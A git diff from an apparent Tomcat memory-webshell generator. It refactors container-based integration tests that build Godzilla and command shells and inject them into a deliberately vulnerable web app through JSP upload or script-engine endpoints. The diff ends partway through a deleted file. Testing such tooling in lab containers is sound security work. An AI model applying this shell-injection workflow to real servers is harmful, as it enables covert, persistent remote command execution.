diff --git a/generator/src/main/java/com/reajason/javaweb/config/ShellTool.java b/generator/src/main/java/com/reajason/javaweb/config/ShellTool.java index 4509b8d8..e35f372e 100644 --- a/generator/src/main/java/com/reajason/javaweb/config/ShellTool.java +++ b/generator/src/main/java/com/reajason/javaweb/config/ShellTool.java @@ -13,5 +13,5 @@ public enum ShellTool { /** * 命令回显 */ - COMMAND + Command } diff --git a/generator/src/main/java/com/reajason/javaweb/memsell/tomcat/TomcatShell.java b/generator/src/main/java/com/reajason/javaweb/memsell/tomcat/TomcatShell.java index 13f2c35c..feef2afc 100644 --- a/generator/src/main/java/com/reajason/javaweb/memsell/tomcat/TomcatShell.java +++ b/generator/src/main/java/com/reajason/javaweb/memsell/tomcat/TomcatShell.java @@ -89,7 +89,7 @@ public class TomcatShell { ); break; } - case COMMAND: { + case Command: { classPair = COMMAND_SHELL_MAP.get(shellType); CommandShellConfig commandConfig = (CommandShellConfig) shellConfig; shellBytes = CommandGenerator.generate(classPair.getLeft(), diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/CommandShellTool.java b/integration-test/src/test/java/com/reajason/javaweb/integration/CommandShellTool.java index 2b14b8b2..48e5bbcd 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/CommandShellTool.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/CommandShellTool.java @@ -28,15 +28,8 @@ import static org.junit.jupiter.api.Assertions.assertTrue; @Slf4j public class CommandShellTool { - @Test - @Disabled - void testGenerate() { - String content = generate(Server.TOMCAT, CommandShellConfig.builder().paramName("cmd").build(), TomcatShell.JAKARTA_FILTER, Opcodes.V11, Packer.INSTANCE.ScriptEngine); - System.out.println(content); - } - public static String generate(Server server, CommandShellConfig config, String shellType, int targetJdkVersion, Packer.INSTANCE packer) { - ShellTool shellTool = ShellTool.COMMAND; + ShellTool shellTool = ShellTool.Command; GenerateResult generateResult = GeneratorMain.generate(server, shellTool, shellType, config, targetJdkVersion); return new String(packer.getPacker().pack(generateResult)); } diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/ContainerTool.java b/integration-test/src/test/java/com/reajason/javaweb/integration/ContainerTool.java new file mode 100644 index 00000000..02981a58 --- /dev/null +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/ContainerTool.java @@ -0,0 +1,27 @@ +package com.reajason.javaweb.integration; + +import lombok.extern.slf4j.Slf4j; +import org.testcontainers.containers.GenericContainer; +import org.testcontainers.utility.MountableFile; + +import java.nio.file.Paths; + +/** + * @author ReaJason + * @since 2024/12/5 + */ +@Slf4j +public class ContainerTool { + public static final MountableFile warJakartaFile = MountableFile.forHostPath(Paths.get("../vul-webapp-jakarta/build/libs/vul-webapp-jakarta.war").toAbsolutePath()); + public static final MountableFile warFile = MountableFile.forHostPath(Paths.get("../vul-webapp/build/libs/vul-webapp.war").toAbsolutePath()); + + + public static String getUrl(GenericContainer container) { + container.start(); + String host = container.getHost(); + int port = container.getMappedPort(8080); + String url = "http://" + host + ":" + port + "/app"; + log.info("container started, app url is : {}", url); + return url; + } +} diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/ShellAssertionTool.java b/integration-test/src/test/java/com/reajason/javaweb/integration/ShellAssertionTool.java new file mode 100644 index 00000000..cdb5f2ff --- /dev/null +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/ShellAssertionTool.java @@ -0,0 +1,56 @@ +package com.reajason.javaweb.integration; + +import com.reajason.javaweb.config.CommandShellConfig; +import com.reajason.javaweb.config.GodzillaShellConfig; +import com.reajason.javaweb.config.Server; +import com.reajason.javaweb.config.ShellTool; +import com.reajason.javaweb.memsell.packer.Packer; +import lombok.extern.slf4j.Slf4j; + +/** + * @author ReaJason + * @since 2024/12/5 + */ +@Slf4j +public class ShellAssertionTool { + public static void testShellInjectAssertOk(String url, Server server, String shellType, ShellTool shellTool, int targetJdkVersion, Packer.INSTANCE packer) { + String shellUrl; + switch (shellTool) { + case Godzilla: + String pass = "pass" + shellType; + String key = "key" + shellType; + String headerValue = "Godzilla" + shellType + packer.name(); + GodzillaShellConfig shellConfig = GodzillaShellConfig.builder() + .pass(pass).key(key) + .headerName("User-Agent").headerValue(headerValue) + .build(); + log.info("generated {} godzilla with pass: {}, key: {}, headerValue: {}", shellType, pass, key, headerValue); + String godzillaContent = GodzillaShellTool.generate(server, shellConfig, shellType, targetJdkVersion, packer); + shellUrl = assertInjectIsOk(url, shellType, shellTool, godzillaContent, packer); + GodzillaShellTool.testIsOk(shellUrl, shellConfig); + break; + case Command: + String paramName = "Command" + shellType + packer.name(); + CommandShellConfig config = CommandShellConfig.builder().paramName(paramName).build(); + String commandContent = CommandShellTool.generate(server, config, shellType, targetJdkVersion, packer); + log.info("generated {} command shell with paramName: {}", shellType, config.getParamName()); + shellUrl = assertInjectIsOk(url, shellType, shellTool, commandContent, packer); + CommandShellTool.testIsOk(shellUrl, config); + } + } + + public static String assertInjectIsOk(String url, String shellType, ShellTool shellTool, String content, Packer.INSTANCE packer) { + String shellUrl = url + "/"; + if (Packer.INSTANCE.JSP.equals(packer)) { + String uploadEntry = url + "/upload"; + String filename = shellType + shellTool + ".jsp"; + shellUrl = url + "/" + filename; + VulTool.uploadJspFileToServer(uploadEntry, filename, content); + VulTool.urlIsOk(shellUrl); + } else if (Packer.INSTANCE.ScriptEngine.equals(packer)) { + String uploadEntry = url + "/js"; + VulTool.postJS(uploadEntry, content); + } + return shellUrl; + } +} diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/tomcat/Tomcat10ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/tomcat/Tomcat10ContainerTest.java index a3d98a08..fb3ca034 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/tomcat/Tomcat10ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/tomcat/Tomcat10ContainerTest.java @@ -1,35 +1,53 @@ package com.reajason.javaweb.integration.tomcat; +import com.reajason.javaweb.config.Server; +import com.reajason.javaweb.config.ShellTool; import com.reajason.javaweb.memsell.packer.Packer; import com.reajason.javaweb.memsell.tomcat.TomcatShell; +import lombok.extern.slf4j.Slf4j; import net.bytebuddy.jar.asm.Opcodes; import org.junit.jupiter.params.ParameterizedTest; -import org.junit.jupiter.params.provider.ValueSource; +import org.junit.jupiter.params.provider.Arguments; +import org.junit.jupiter.params.provider.MethodSource; import org.testcontainers.containers.GenericContainer; import org.testcontainers.containers.wait.strategy.Wait; import org.testcontainers.junit.jupiter.Container; +import java.util.stream.Stream; + +import static com.reajason.javaweb.integration.ContainerTool.getUrl; +import static com.reajason.javaweb.integration.ContainerTool.warJakartaFile; +import static com.reajason.javaweb.integration.ShellAssertionTool.testShellInjectAssertOk; +import static org.junit.jupiter.params.provider.Arguments.arguments; + /** * @author ReaJason * @since 2024/12/4 */ -public class Tomcat10ContainerTest extends TomcatIntegrationTest { - public static final String tomcat10ImageName = "tomcat:10.1-jre11"; +@Slf4j +public class Tomcat10ContainerTest { + public static final String imageName = "tomcat:10.1-jre11"; + + static Stream casesProvider() { + return Stream.of( + arguments(imageName, TomcatShell.JAKARTA_FILTER, ShellTool.Godzilla, Packer.INSTANCE.JSP), + arguments(imageName, TomcatShell.JAKARTA_FILTER, ShellTool.Command, Packer.INSTANCE.JSP), + arguments(imageName, TomcatShell.JAKARTA_LISTENER, ShellTool.Godzilla, Packer.INSTANCE.JSP), + arguments(imageName, TomcatShell.JAKARTA_LISTENER, ShellTool.Command, Packer.INSTANCE.JSP), + arguments(imageName, TomcatShell.JAKARTA_VALVE, ShellTool.Godzilla, Packer.INSTANCE.JSP), + arguments(imageName, TomcatShell.JAKARTA_VALVE, ShellTool.Command, Packer.INSTANCE.JSP) + ); + } + @Container - public final static GenericContainer tomcat = new GenericContainer<>(tomcat10ImageName) + public final static GenericContainer tomcat = new GenericContainer<>(imageName) .withCopyToContainer(warJakartaFile, "/usr/local/tomcat/webapps/app.war") .waitingFor(Wait.forHttp("/app")) .withExposedPorts(8080); - @ParameterizedTest(name = tomcat10ImageName + "|{0}Godzilla|JSP") - @ValueSource(strings = {TomcatShell.JAKARTA_FILTER, TomcatShell.JAKARTA_LISTENER, TomcatShell.JAKARTA_VALVE}) - void testGodzillaJSP(String shellType) { - testGodzillaAssertOk(getUrl(tomcat), shellType, Opcodes.V11, Packer.INSTANCE.JSP); - } - - @ParameterizedTest(name = tomcat10ImageName + "|{0}Command|JSP") - @ValueSource(strings = {TomcatShell.JAKARTA_FILTER, TomcatShell.JAKARTA_LISTENER, TomcatShell.JAKARTA_VALVE}) - void testCommandJSP(String shellType) { - testCommandAssertOk(getUrl(tomcat), shellType, Opcodes.V11, Packer.INSTANCE.JSP); + @ParameterizedTest(name = "{0}|{1}{2}|{3}") + @MethodSource("casesProvider") + void test(String imageName, String shellType, ShellTool shellTool, Packer.INSTANCE packer) { + testShellInjectAssertOk(getUrl(tomcat), Server.TOMCAT, shellType, shellTool, Opcodes.V11, packer); } } diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/tomcat/Tomcat11ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/tomcat/Tomcat11ContainerTest.java index f22031b4..48f058a6 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/tomcat/Tomcat11ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/tomcat/Tomcat11ContainerTest.java @@ -1,35 +1,54 @@ package com.reajason.javaweb.integration.tomcat; +import com.reajason.javaweb.config.Server; +import com.reajason.javaweb.config.ShellTool; import com.reajason.javaweb.memsell.packer.Packer; import com.reajason.javaweb.memsell.tomcat.TomcatShell; +import lombok.extern.slf4j.Slf4j; import net.bytebuddy.jar.asm.Opcodes; import org.junit.jupiter.params.ParameterizedTest; -import org.junit.jupiter.params.provider.ValueSource; +import org.junit.jupiter.params.provider.Arguments; +import org.junit.jupiter.params.provider.MethodSource; import org.testcontainers.containers.GenericContainer; import org.testcontainers.containers.wait.strategy.Wait; import org.testcontainers.junit.jupiter.Container; +import java.util.stream.Stream; + +import static com.reajason.javaweb.integration.ContainerTool.getUrl; +import static com.reajason.javaweb.integration.ContainerTool.warJakartaFile; +import static com.reajason.javaweb.integration.ShellAssertionTool.testShellInjectAssertOk; +import static org.junit.jupiter.params.provider.Arguments.arguments; + /** * @author ReaJason * @since 2024/12/4 */ -public class Tomcat11ContainerTest extends TomcatIntegrationTest { - public static final String tomcat11ImageName = "tomcat:11.0-jre17"; +@Slf4j +public class Tomcat11ContainerTest { + + public static final String imageName = "tomcat:11.0-jre17"; + + static Stream casesProvider() { + return Stream.of( + arguments(imageName, TomcatShell.JAKARTA_FILTER, ShellTool.Godzilla, Packer.INSTANCE.JSP), + arguments(imageName, TomcatShell.JAKARTA_FILTER, ShellTool.Command, Packer.INSTANCE.JSP), + arguments(imageName, TomcatShell.JAKARTA_LISTENER, ShellTool.Godzilla, Packer.INSTANCE.JSP), + arguments(imageName, TomcatShell.JAKARTA_LISTENER, ShellTool.Command, Packer.INSTANCE.JSP), + arguments(imageName, TomcatShell.JAKARTA_VALVE, ShellTool.Godzilla, Packer.INSTANCE.JSP), + arguments(imageName, TomcatShell.JAKARTA_VALVE, ShellTool.Command, Packer.INSTANCE.JSP) + ); + } + @Container - public final static GenericContainer tomcat = new GenericContainer<>(tomcat11ImageName) + public final static GenericContainer tomcat = new GenericContainer<>(imageName) .withCopyToContainer(warJakartaFile, "/usr/local/tomcat/webapps/app.war") .waitingFor(Wait.forHttp("/app")) .withExposedPorts(8080); - @ParameterizedTest(name = tomcat11ImageName + "|{0}Godzilla|JSP") - @ValueSource(strings = {TomcatShell.JAKARTA_FILTER, TomcatShell.JAKARTA_LISTENER, TomcatShell.JAKARTA_VALVE}) - void testGodzillaJSP(String shellType) { - testGodzillaAssertOk(getUrl(tomcat), shellType, Opcodes.V17, Packer.INSTANCE.JSP); - } - - @ParameterizedTest(name = tomcat11ImageName + "|{0}Command|JSP") - @ValueSource(strings = {TomcatShell.JAKARTA_FILTER, TomcatShell.JAKARTA_LISTENER, TomcatShell.JAKARTA_VALVE}) - void testCommandJSP(String shellType) { - testCommandAssertOk(getUrl(tomcat), shellType, Opcodes.V17, Packer.INSTANCE.JSP); + @ParameterizedTest(name = "{0}|{1}{2}|{3}") + @MethodSource("casesProvider") + void test(String imageName, String shellType, ShellTool shellTool, Packer.INSTANCE packer) { + testShellInjectAssertOk(getUrl(tomcat), Server.TOMCAT, shellType, shellTool, Opcodes.V17, packer); } } diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/tomcat/Tomcat6ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/tomcat/Tomcat6ContainerTest.java index d060dc72..47769c98 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/tomcat/Tomcat6ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/tomcat/Tomcat6ContainerTest.java @@ -1,36 +1,54 @@ package com.reajason.javaweb.integration.tomcat; +import com.reajason.javaweb.config.Server; +import com.reajason.javaweb.config.ShellTool; import com.reajason.javaweb.memsell.packer.Packer; import com.reajason.javaweb.memsell.tomcat.TomcatShell; +import lombok.extern.slf4j.Slf4j; import net.bytebuddy.jar.asm.Opcodes; import org.junit.jupiter.params.ParameterizedTest; -import org.junit.jupiter.params.provider.ValueSource; +import org.junit.jupiter.params.provider.Arguments; +import org.junit.jupiter.params.provider.MethodSource; import org.testcontainers.containers.GenericContainer; import org.testcontainers.containers.wait.strategy.Wait; import org.testcontainers.junit.jupiter.Container; +import java.util.stream.Stream; + +import static com.reajason.javaweb.integration.ContainerTool.getUrl; +import static com.reajason.javaweb.integration.ContainerTool.warFile; +import static com.reajason.javaweb.integration.ShellAssertionTool.testShellInjectAssertOk; +import static org.junit.jupiter.params.provider.Arguments.arguments; + /** * @author ReaJason * @since 2024/12/4 */ -public class Tomcat6ContainerTest extends TomcatIntegrationTest { - public static final String tomcat6ImageName = "reajason/tomcat:6-jdk6"; +@Slf4j +public class Tomcat6ContainerTest { + public static final String imageName = "reajason/tomcat:6-jdk6"; + + static Stream casesProvider() { + return Stream.of( + arguments(imageName, TomcatShell.FILTER, ShellTool.Godzilla, Packer.INSTANCE.JSP), + arguments(imageName, TomcatShell.FILTER, ShellTool.Command, Packer.INSTANCE.JSP), + arguments(imageName, TomcatShell.LISTENER, ShellTool.Godzilla, Packer.INSTANCE.JSP), + arguments(imageName, TomcatShell.LISTENER, ShellTool.Command, Packer.INSTANCE.JSP), + arguments(imageName, TomcatShell.VALVE, ShellTool.Godzilla, Packer.INSTANCE.JSP), + arguments(imageName, TomcatShell.VALVE, ShellTool.Command, Packer.INSTANCE.JSP) + ); + } @Container - public final static GenericContainer tomcat = new GenericContainer<>(tomcat6ImageName) + public final static GenericContainer tomcat = new GenericContainer<>(imageName) .withCopyToContainer(warFile, "/usr/local/tomcat/webapps/app.war") .waitingFor(Wait.forHttp("/app")) .withExposedPorts(8080); - @ParameterizedTest(name = tomcat6ImageName + "|{0}Godzilla|JSP") - @ValueSource(strings = {TomcatShell.FILTER, TomcatShell.LISTENER, TomcatShell.VALVE}) - void testGodzillaJSP(String shellType) { - testGodzillaAssertOk(getUrl(tomcat), shellType, Opcodes.V1_6, Packer.INSTANCE.JSP); - } - @ParameterizedTest(name = tomcat6ImageName + "|{0}Command|JSP") - @ValueSource(strings = {TomcatShell.FILTER, TomcatShell.LISTENER, TomcatShell.VALVE}) - void testCommandJSP(String shellType) { - testCommandAssertOk(getUrl(tomcat), shellType, Opcodes.V1_6, Packer.INSTANCE.JSP); + @ParameterizedTest(name = "{0}|{1}{2}|{3}") + @MethodSource("casesProvider") + void test(String imageName, String shellType, ShellTool shellTool, Packer.INSTANCE packer) { + testShellInjectAssertOk(getUrl(tomcat), Server.TOMCAT, shellType, shellTool, Opcodes.V1_6, packer); } } \ No newline at end of file diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/tomcat/Tomcat7ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/tomcat/Tomcat7ContainerTest.java index b3c52db4..1072b8c7 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/tomcat/Tomcat7ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/tomcat/Tomcat7ContainerTest.java @@ -1,37 +1,53 @@ package com.reajason.javaweb.integration.tomcat; +import com.reajason.javaweb.config.Server; +import com.reajason.javaweb.config.ShellTool; import com.reajason.javaweb.memsell.packer.Packer; import com.reajason.javaweb.memsell.tomcat.TomcatShell; +import lombok.extern.slf4j.Slf4j; import net.bytebuddy.jar.asm.Opcodes; import org.junit.jupiter.params.ParameterizedTest; -import org.junit.jupiter.params.provider.ValueSource; +import org.junit.jupiter.params.provider.Arguments; +import org.junit.jupiter.params.provider.MethodSource; import org.testcontainers.containers.GenericContainer; import org.testcontainers.containers.wait.strategy.Wait; import org.testcontainers.junit.jupiter.Container; +import java.util.stream.Stream; + +import static com.reajason.javaweb.integration.ContainerTool.getUrl; +import static com.reajason.javaweb.integration.ContainerTool.warFile; +import static com.reajason.javaweb.integration.ShellAssertionTool.testShellInjectAssertOk; +import static org.junit.jupiter.params.provider.Arguments.arguments; + /** * @author ReaJason * @since 2024/12/4 */ -public class Tomcat7ContainerTest extends TomcatIntegrationTest { - public static final String tomcat7ImageName = "tomcat:7.0.85-jre7"; +@Slf4j +public class Tomcat7ContainerTest{ + public static final String imageName = "tomcat:7.0.85-jre7"; + + static Stream casesProvider() { + return Stream.of( + arguments(imageName, TomcatShell.FILTER, ShellTool.Godzilla, Packer.INSTANCE.JSP), + arguments(imageName, TomcatShell.FILTER, ShellTool.Command, Packer.INSTANCE.JSP), + arguments(imageName, TomcatShell.LISTENER, ShellTool.Godzilla, Packer.INSTANCE.JSP), + arguments(imageName, TomcatShell.LISTENER, ShellTool.Command, Packer.INSTANCE.JSP), + arguments(imageName, TomcatShell.VALVE, ShellTool.Godzilla, Packer.INSTANCE.JSP), + arguments(imageName, TomcatShell.VALVE, ShellTool.Command, Packer.INSTANCE.JSP) + ); + } + @Container - public final static GenericContainer tomcat = new GenericContainer<>(tomcat7ImageName) + public final static GenericContainer tomcat = new GenericContainer<>(imageName) .withCopyToContainer(warFile, "/usr/local/tomcat/webapps/app.war") .waitingFor(Wait.forHttp("/app")) .withExposedPorts(8080); - - @ParameterizedTest(name = tomcat7ImageName + "|{0}Godzilla|JSP") - @ValueSource(strings = {TomcatShell.FILTER, TomcatShell.LISTENER, TomcatShell.VALVE}) - void testGodzillaJSP(String shellType) { - testGodzillaAssertOk(getUrl(tomcat), shellType, Opcodes.V1_7, Packer.INSTANCE.JSP); + @ParameterizedTest(name = "{0}|{1}{2}|{3}") + @MethodSource("casesProvider") + void test(String imageName, String shellType, ShellTool shellTool, Packer.INSTANCE packer) { + testShellInjectAssertOk(getUrl(tomcat), Server.TOMCAT, shellType, shellTool, Opcodes.V1_7, packer); } - - - @ParameterizedTest(name = tomcat7ImageName + "|{0}Command|JSP") - @ValueSource(strings = {TomcatShell.FILTER, TomcatShell.LISTENER, TomcatShell.VALVE}) - void testCommandJSP(String shellType) { - testCommandAssertOk(getUrl(tomcat), shellType, Opcodes.V1_7, Packer.INSTANCE.JSP); - } -} +} \ No newline at end of file diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/tomcat/Tomcat8ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/tomcat/Tomcat8ContainerTest.java index cca9422c..2bd64b65 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/tomcat/Tomcat8ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/tomcat/Tomcat8ContainerTest.java @@ -1,47 +1,59 @@ package com.reajason.javaweb.integration.tomcat; +import com.reajason.javaweb.config.Server; +import com.reajason.javaweb.config.ShellTool; import com.reajason.javaweb.memsell.packer.Packer; import com.reajason.javaweb.memsell.tomcat.TomcatShell; +import lombok.extern.slf4j.Slf4j; import net.bytebuddy.jar.asm.Opcodes; import org.junit.jupiter.params.ParameterizedTest; -import org.junit.jupiter.params.provider.ValueSource; +import org.junit.jupiter.params.provider.Arguments; +import org.junit.jupiter.params.provider.MethodSource; import org.testcontainers.containers.GenericContainer; import org.testcontainers.containers.wait.strategy.Wait; import org.testcontainers.junit.jupiter.Container; +import java.util.stream.Stream; + +import static com.reajason.javaweb.integration.ContainerTool.getUrl; +import static com.reajason.javaweb.integration.ContainerTool.warFile; +import static com.reajason.javaweb.integration.ShellAssertionTool.testShellInjectAssertOk; +import static org.junit.jupiter.params.provider.Arguments.arguments; + /** * @author ReaJason * @since 2024/12/4 */ -public class Tomcat8ContainerTest extends TomcatIntegrationTest { - public static final String tomcat8ImageName = "tomcat:8-jre8"; +@Slf4j +public class Tomcat8ContainerTest { + public static final String imageName = "tomcat:8-jre8"; + + static Stream casesProvider() { + return Stream.of( + arguments(imageName, TomcatShell.FILTER, ShellTool.Godzilla, Packer.INSTANCE.JSP), + arguments(imageName, TomcatShell.FILTER, ShellTool.Godzilla, Packer.INSTANCE.ScriptEngine), + arguments(imageName, TomcatShell.FILTER, ShellTool.Command, Packer.INSTANCE.JSP), + arguments(imageName, TomcatShell.FILTER, ShellTool.Command, Packer.INSTANCE.ScriptEngine), + arguments(imageName, TomcatShell.LISTENER, ShellTool.Godzilla, Packer.INSTANCE.JSP), + arguments(imageName, TomcatShell.LISTENER, ShellTool.Godzilla, Packer.INSTANCE.ScriptEngine), + arguments(imageName, TomcatShell.LISTENER, ShellTool.Command, Packer.INSTANCE.JSP), + arguments(imageName, TomcatShell.LISTENER, ShellTool.Command, Packer.INSTANCE.ScriptEngine), + arguments(imageName, TomcatShell.VALVE, ShellTool.Godzilla, Packer.INSTANCE.JSP), + arguments(imageName, TomcatShell.VALVE, ShellTool.Godzilla, Packer.INSTANCE.ScriptEngine), + arguments(imageName, TomcatShell.VALVE, ShellTool.Command, Packer.INSTANCE.JSP), + arguments(imageName, TomcatShell.VALVE, ShellTool.Command, Packer.INSTANCE.ScriptEngine) + ); + } + @Container - public final static GenericContainer tomcat = new GenericContainer<>(tomcat8ImageName) + public final static GenericContainer tomcat = new GenericContainer<>(imageName) .withCopyToContainer(warFile, "/usr/local/tomcat/webapps/app.war") .waitingFor(Wait.forHttp("/app")) .withExposedPorts(8080); - @ParameterizedTest(name = tomcat8ImageName + "|{0}Godzilla|JSP") - @ValueSource(strings = {TomcatShell.FILTER, TomcatShell.LISTENER, TomcatShell.VALVE}) - void testGodzillaJSP(String shellType) { - testGodzillaAssertOk(getUrl(tomcat), shellType, Opcodes.V1_8, Packer.INSTANCE.JSP); - } - - @ParameterizedTest(name = tomcat8ImageName + "|{0}Godzilla|JS") - @ValueSource(strings = {TomcatShell.FILTER, TomcatShell.LISTENER, TomcatShell.VALVE}) - void testGodzillaJS(String shellType) { - testGodzillaAssertOk(getUrl(tomcat), shellType, Opcodes.V1_8, Packer.INSTANCE.ScriptEngine); - } - - @ParameterizedTest(name = tomcat8ImageName + "|{0}Command|JSP") - @ValueSource(strings = {TomcatShell.FILTER, TomcatShell.LISTENER, TomcatShell.VALVE}) - void testCommandJSP(String shellType) { - testCommandAssertOk(getUrl(tomcat), shellType, Opcodes.V1_8, Packer.INSTANCE.JSP); - } - - @ParameterizedTest(name = tomcat8ImageName + "|{0}Command|JS") - @ValueSource(strings = {TomcatShell.FILTER, TomcatShell.LISTENER, TomcatShell.VALVE}) - void testCommandJS(String shellType) { - testCommandAssertOk(getUrl(tomcat), shellType, Opcodes.V1_8, Packer.INSTANCE.ScriptEngine); + @ParameterizedTest(name = "{0}|{1}{2}|{3}") + @MethodSource("casesProvider") + void test(String imageName, String shellType, ShellTool shellTool, Packer.INSTANCE packer) { + testShellInjectAssertOk(getUrl(tomcat), Server.TOMCAT, shellType, shellTool, Opcodes.V1_8, packer); } } diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/tomcat/Tomcat9ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/tomcat/Tomcat9ContainerTest.java index fd68a442..ddf01722 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/tomcat/Tomcat9ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/tomcat/Tomcat9ContainerTest.java @@ -1,35 +1,51 @@ package com.reajason.javaweb.integration.tomcat; +import com.reajason.javaweb.config.Server; +import com.reajason.javaweb.config.ShellTool; import com.reajason.javaweb.memsell.packer.Packer; import com.reajason.javaweb.memsell.tomcat.TomcatShell; import net.bytebuddy.jar.asm.Opcodes; import org.junit.jupiter.params.ParameterizedTest; -import org.junit.jupiter.params.provider.ValueSource; +import org.junit.jupiter.params.provider.Arguments; +import org.junit.jupiter.params.provider.MethodSource; import org.testcontainers.containers.GenericContainer; import org.testcontainers.containers.wait.strategy.Wait; import org.testcontainers.junit.jupiter.Container; +import java.util.stream.Stream; + +import static com.reajason.javaweb.integration.ContainerTool.getUrl; +import static com.reajason.javaweb.integration.ContainerTool.warFile; +import static com.reajason.javaweb.integration.ShellAssertionTool.testShellInjectAssertOk; +import static org.junit.jupiter.params.provider.Arguments.arguments; + /** * @author ReaJason * @since 2024/12/4 */ -public class Tomcat9ContainerTest extends TomcatIntegrationTest { - public static final String tomcat9ImageName = "tomcat:9-jre9"; +public class Tomcat9ContainerTest{ + public static final String imageName = "tomcat:9-jre9"; + + static Stream casesProvider() { + return Stream.of( + arguments(imageName, TomcatShell.FILTER, ShellTool.Godzilla, Packer.INSTANCE.JSP), + arguments(imageName, TomcatShell.FILTER, ShellTool.Command, Packer.INSTANCE.JSP), + arguments(imageName, TomcatShell.LISTENER, ShellTool.Godzilla, Packer.INSTANCE.JSP), + arguments(imageName, TomcatShell.LISTENER, ShellTool.Command, Packer.INSTANCE.JSP), + arguments(imageName, TomcatShell.VALVE, ShellTool.Godzilla, Packer.INSTANCE.JSP), + arguments(imageName, TomcatShell.VALVE, ShellTool.Command, Packer.INSTANCE.JSP) + ); + } + @Container - public final static GenericContainer tomcat = new GenericContainer<>(tomcat9ImageName) + public final static GenericContainer tomcat = new GenericContainer<>(imageName) .withCopyToContainer(warFile, "/usr/local/tomcat/webapps/app.war") .waitingFor(Wait.forHttp("/app")) .withExposedPorts(8080); - @ParameterizedTest(name = tomcat9ImageName + "|{0}Godzilla|JSP") - @ValueSource(strings = {TomcatShell.FILTER, TomcatShell.LISTENER, TomcatShell.VALVE}) - void testGodzillaJSP(String shellType) { - testGodzillaAssertOk(getUrl(tomcat), shellType, Opcodes.V9, Packer.INSTANCE.JSP); - } - - @ParameterizedTest(name = tomcat9ImageName + "|{0}Command|JSP") - @ValueSource(strings = {TomcatShell.FILTER, TomcatShell.LISTENER, TomcatShell.VALVE}) - void testCommandJSP(String shellType) { - testCommandAssertOk(getUrl(tomcat), shellType, Opcodes.V9, Packer.INSTANCE.JSP); + @ParameterizedTest(name = "{0}|{1}{2}|{3}") + @MethodSource("casesProvider") + void test(String imageName, String shellType, ShellTool shellTool, Packer.INSTANCE packer) { + testShellInjectAssertOk(getUrl(tomcat), Server.TOMCAT, shellType, shellTool, Opcodes.V9, packer); } } diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/tomcat/TomcatIntegrationTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/tomcat/TomcatIntegrationTest.java deleted file mode 100644 index 14bf52a8..00000000 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/tomcat/TomcatIntegrationTest.java +++ /dev/null @@ -1,86 +0,0 @@ -package com.reajason.javaweb.integration.tomcat; - -import com.reajason.javaweb.config.CommandShellConfig; -import com.reajason.javaweb.config.GodzillaShellConfig; -import com.reajason.javaweb.config.Server; -import com.reajason.javaweb.integration.CommandShellTool; -import com.reajason.javaweb.integration.GodzillaShellTool; -import com.reajason.javaweb.integration.VulTool; -import com.reajason.javaweb.memsell.packer.Packer; -import com.reajason.javaweb.memsell.tomcat.TomcatShell; -import lombok.extern.slf4j.Slf4j; -import net.bytebuddy.jar.asm.Opcodes; -import org.junit.jupiter.api.Nested; -import org.junit.jupiter.params.ParameterizedTest; -import org.junit.jupiter.params.provider.ValueSource; -import org.testcontainers.containers.GenericContainer; -import org.testcontainers.containers.wait.strategy.Wait; -import org.testcontainers.junit.jupiter.Container; -import org.testcontainers.junit.jupiter.Testcontainers; -import org.testcontainers.utility.MountableFile; - -import java.nio.file.Paths; - -/** - * @author ReaJason - * @since 2024/11/28 - */ -@Testcontainers -@Slf4j -public class TomcatIntegrationTest { - // https://hub.docker.com/_/tomcat/tags - public static final MountableFile warJakartaFile = MountableFile.forHostPath(Paths.get("../vul-webapp-jakarta/build/libs/vul-webapp-jakarta.war").toAbsolutePath()); - public static final MountableFile warFile = MountableFile.forHostPath(Paths.get("../vul-webapp/build/libs/vul-webapp.war").toAbsolutePath()); - - - public String getUrl(GenericContainer tomcat) { - String host = tomcat.getHost(); - int port = tomcat.getMappedPort(8080); - String url = "http://" + host + ":" + port + "/app"; - log.info("container started, app url is : {}", url); - return url; - } - - public void testGodzillaAssertOk(String url, String shellType, int targetJdkVersion, Packer.INSTANCE packer) { - String pass = "pass" + shellType; - String key = "key" + shellType; - String headerValue = "Godzilla" + shellType; - GodzillaShellConfig shellConfig = GodzillaShellConfig.builder() - .pass(pass).key(key) - .headerName("User-Agent").headerValue(headerValue) - .build(); - log.info("generated {} godzilla with pass: {}, key: {}, headerValue: {}", shellType, pass, key, headerValue); - String content = GodzillaShellTool.generate(Server.TOMCAT, shellConfig, shellType, targetJdkVersion, packer); - String shellUrl = url + "/"; - if (Packer.INSTANCE.JSP.equals(packer)) { - String uploadEntry = url + "/upload"; - String filename = shellType + "Godzilla.jsp"; - shellUrl = url + "/" + filename; - 